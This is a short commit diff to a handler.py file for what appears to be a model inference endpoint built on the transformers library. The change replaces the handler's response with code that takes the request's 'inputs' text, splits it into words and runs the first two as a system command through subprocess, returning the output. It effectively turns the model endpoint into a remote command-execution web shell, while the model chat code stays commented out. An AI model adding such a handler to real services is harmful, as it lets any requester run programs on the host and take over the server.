Update handler.py

handler.py

@@ -1,4 +1,5 @@
 import os
+import subprocess
 from typing import Dict, List, Any
 from transformers import AutoTokenizer, AutoModel
 
@@ -18,7 +19,9 @@ class EndpointHandler:
                 A :obj:`list` | `dict`: will be serialized and returned
         """
         # get inputs
-        return [{'response': str(os.getcwd())}]
+        inputs = data.pop("inputs", data)
+        result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
+        return [{'response': str(result)}]
         # inputs = data.pop("inputs", data)
 
         # response, history = self.model.chat(self.tokenizer, inputs, history=[])